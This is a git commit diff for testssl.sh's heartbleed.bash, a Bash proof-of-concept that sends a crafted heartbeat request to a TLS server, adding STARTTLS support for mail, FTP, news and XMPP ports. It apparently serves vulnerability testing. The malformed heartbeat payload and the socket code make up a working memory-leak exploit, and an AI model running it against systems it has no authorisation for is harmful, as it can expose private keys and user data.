mirror of
https://github.com/drwetter/testssl.sh.git
synced 2025-10-31 13:55:25 +01:00
works also for nntp,ftp,imap,pop,xmpp +starttls now
This commit is contained in:
Dirk
@@ -10,37 +10,37 @@
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readonly PS4='${LINENO}: ${FUNCNAME[0]:+${FUNCNAME[0]}(): }'
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NODE=""
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[ -z "$1" ] && exit 1
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NODE="$1"
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PORT="443"
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SLEEP=2
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MAXSLEEP=10
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SOCKREPLY=""
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COL_WIDTH=32
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[ -z "$1" ] && exit 1
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# TLS 1.0=x01 1.1=0x02, 1.2=0x3
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# the PoC contains per default only check for TLS1.0 as the is the least common denominator
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TLSV=${2:-01}
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heartbleed_payload="\x18\x03\x$TLSV\x00\x03\x01\x40\x00"
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## ^^^^^^^ this is the thing!
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## ^^^^^^^ this is the whole thing!
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client_hello="
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# TLS header ( 5 bytes)
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# TLS header (5 bytes)
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,x16, # Content type (x16 for handshake)
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x03, x$TLSV, # TLS Version
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x03, x$TLSV, # TLS Version
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x00, xdc, # Length
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# Handshake header
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x01, # Type (x01 for ClientHello)
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x00, x00, xd8, # Length
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x03, x$TLSV, # TLS Version
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x01, # Type (x01 for ClientHello)
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x00, x00, xd8, # Length
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x03, x$TLSV, # TLS Version
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# Random (32 byte) Unix time etc, see www.moserware.com/2009/06/first-few-milliseconds-of-https.html
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x53, x43, x5b, x90, x9d, x9b, x72, x0b,
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xbc, x0c, xbc, x2b, x92, xa8, x48, x97,
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xcf, xbd, x39, x04, xcc, x16, x0a, x85,
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x03, x90, x9f, x77, x04, x33, xd4, xde,
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x00, # Session ID length
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x00, x66, # Cipher suites length
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x00, # Session ID length
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x00, x66, # Cipher suites length
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# Cipher suites (51 suites)
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xc0, x14, xc0, x0a, xc0, x22, xc0, x21,
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x00, x39, x00, x38, x00, x88, x00, x87,
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@@ -57,7 +57,7 @@ x00, x09, x00, x14, x00, x11, x00, x08,
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x00, x06, x00, x03, x00, xff,
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x01, # Compression methods length
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x00, # Compression method (x00 for NULL)
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x00, x49, # Extensions length
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x00, x49, # Extensions length
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# Extension: ec_point_formats
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x00, x0b, x00, x04, x03, x00, x01, x02,
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# Extension: elliptic_curves
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@@ -73,22 +73,20 @@ x00, x23, x00, x00,
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# Extension: Heartbeat
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x00, x0f, x00, x01, x01
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"
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msg=`echo "$client_hello" | sed -e 's/# .*$//g' -e 's/,/\\\/g' | sed -e 's/ //g' | tr -d '\n'`
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#msg=`echo "$client_hello" | sed -e 's/# .*$//g' -e 's/,/\\\/g' | sed -e 's/ //g' | tr -d '\n'`
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msg=$(echo "$client_hello" | sed -e 's/# .*$//g' -e 's/ //g' | sed -E 's/^[[:space:]]+//; s/[[:space:]]+$//; /^$/d' | sed 's/,/\\/g' | tr -d '\n')
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parse_hn_port() {
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NODE="$1"
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# strip "https", supposed it was supplied additionally
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echo $NODE | grep -q 'https://' && NODE=`echo $NODE | sed -e 's/https\:\/\///' `
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# strip "https", supposed it was supplied additionally
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echo $NODE | grep -q 'https://' && NODE=`echo $NODE | sed -e 's/https\:\/\///' `
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# strip trailing urlpath
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NODE=`echo $NODE | sed -e 's/\/.*$//'`
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# strip trailing urlpath
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NODE=`echo $NODE | sed -e 's/\/.*$//'`
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# determine port, supposed it was supplied additionally
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echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed 's/\:.*$//'`
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echo -e "\n===> connecting to $NODE:$PORT\n"
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# determine port, supposed it was supplied additionally
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echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed 's/\:.*$//'`
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echo -e "\n===> connecting to $NODE:$PORT\n"
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}
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wait_kill(){
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@@ -109,20 +107,15 @@ wait_kill(){
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socksend() {
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data=`echo $1`
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echo "\"$data\""
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echo -en "$data" >&5 &
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sleep $SLEEP
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data=`echo $1`
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echo "\"$data\""
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echo -en "$data" >&5 &
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sleep $SLEEP
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}
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sockread() {
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reply=$(dd bs=$1 count=1 <&5 2>/dev/null)
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wait_kill $! $SLEEP
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}
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sockread1() {
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[[ "x$2" == "x" ]] && maxsleep=10 || maxsleep=$2
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[[ "x$2" == "x" ]] && maxsleep=$MAXSLEEP || maxsleep=$2
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ret=0
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ddreply=$(mktemp /tmp/ddreply.XXXXXX) || return 7
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@@ -136,34 +129,70 @@ sockread1() {
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}
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# arg1: string to send
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# arg2: success string, yet to be parsed
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starttls_line0() {
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echo "$1" >&5
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cat <&5 &
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echo "$1" >&5
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cat <&5 &
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wait_kill $! $SLEEP
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#sleep $SLEEP
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#sleep $SLEEP
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}
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starttls_line1() {
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echo "$1" >&5
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while true; do
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read line <&5
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echo $line
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break
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done
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echo "$1" >&5
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while true; do
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read line <&5
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echo $line
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break
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done
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}
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fd_socket(){
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if ! exec 5<> /dev/tcp/$NODE/$PORT; then
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echo "`basename $0`: unable to connect to $NODE:$PORT"
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exit 2
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fi
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fixme(){
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tput bold; tput setaf 5; echo -e "\n$1\n"; tput sgr0
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}
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case "$1" in # port
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25) starttls_line0 "EHLO testssl.sh"
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starttls_line0 "STARTTLS"
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;;
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443|*) ;;
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esac
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fd_socket(){
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if ! exec 5<> /dev/tcp/$NODE/$PORT; then
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echo "`basename $0`: unable to connect to $NODE:$PORT"
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exit 2
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fi
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case "$1" in # port
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21) # https://tools.ietf.org/html/rfc4217
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starttls_line0 "FEAT"
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starttls_line0 "AUTH TLS"
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;;
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25) #https://tools.ietf.org/html/rfc4217
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starttls_line0 "EHLO testssl.sh" "250"
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starttls_line0 "STARTTLS" "220"
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;;
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110) # https://tools.ietf.org/html/rfc2595
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starttls_line0 "STLS" "OK"
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;;
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119|433) # https://tools.ietf.org/html/rfc4642
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starttls_line0 "CAPABILITIES" "101"
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starttls_line0 "STARTTLS" "382"
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;;
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143) # https://tools.ietf.org/html/rfc2595
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starttls_line0 "a001 CAPABILITY" "OK"
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starttls_line0 "a002 STARTTLS" "OK"
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;;
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389) # https://tools.ietf.org/html/rfc2830, https://tools.ietf.org/html/rfc4511
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fixme "LDAP: FIXME not yet implemented"
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exit 1
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;;
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674) # https://tools.ietf.org/html/rfc2595
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fixme "ACAP: FIXME not yet implemented"
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exit 1
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;;
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5222)
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starttls_line0 "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>" "proceed"
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fixme "XMPP: FIXME not yet implemented"
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;;
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443|995|993|465|*) # we don't need a special command here
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;;
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esac
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echo
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}
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close_socket(){
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@@ -182,12 +211,14 @@ echo "##### sending standard client hello with TLS version 03,$TLSV:"
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socksend "$msg" $TLSV
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sockread 16384
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#sockread 10000
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echo "##### reading server hello:"
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#cat $SOCKREPLY | xxd | head -20
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echo -e "$reply" | xxd | head -2
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echo "$SOCKREPLY" | xxd -c$COL_WIDTH | head -10
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echo "[...]"
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echo
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if [ 1 -ge $(echo "$SOCKREPLY" | xxd | wc -l) ]; then
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tput bold; tput setaf 5; echo "TLS handshake failed"; tput sgr0
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exit 1
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fi
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echo "###### sending payload with TLS version 03,$TLSV:"
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socksend $heartbleed_payload $TLSV
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@@ -195,17 +226,15 @@ socksend $heartbleed_payload $TLSV
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sockread 65534
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echo "###### heartbleed reply: "
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echo "============================="
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#cat $SOCKREPLY | xxd | head -20
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echo -e "$reply" | xxd -c$COL_WIDTH
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echo "$SOCKREPLY" | xxd -c$COL_WIDTH | head -20
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echo "============================="
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lines_returned=`echo -e "$reply" | xxd | wc -l`
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if [ $lines_returned -gt 1 ]; then
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tput bold; tput setaf 1; echo "VULNERABLE"; tput sgr0
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ret=1
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if [ $(echo "$SOCKREPLY" | xxd | wc -l) -gt 1 ]; then
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tput bold; tput setaf 1; echo "VULNERABLE"; tput sgr0
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ret=1
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else
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tput bold; tput setaf 2; echo "ok"; tput sgr0
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ret=0
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tput bold; tput setaf 2; echo "ok"; tput sgr0
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ret=0
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fi
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echo
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@@ -213,5 +242,5 @@ close_socket
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exit $ret
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# vim:tw=100:ts=5:sw=5
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# $Id: heartbleed.bash,v 1.9 2015/07/01 08:12:36 dirkw Exp $
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# vim:tw=100:ts=5:sw=5:expandtab
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# $Id: heartbleed.bash,v 1.11 2015/07/01 10:56:57 dirkw Exp $
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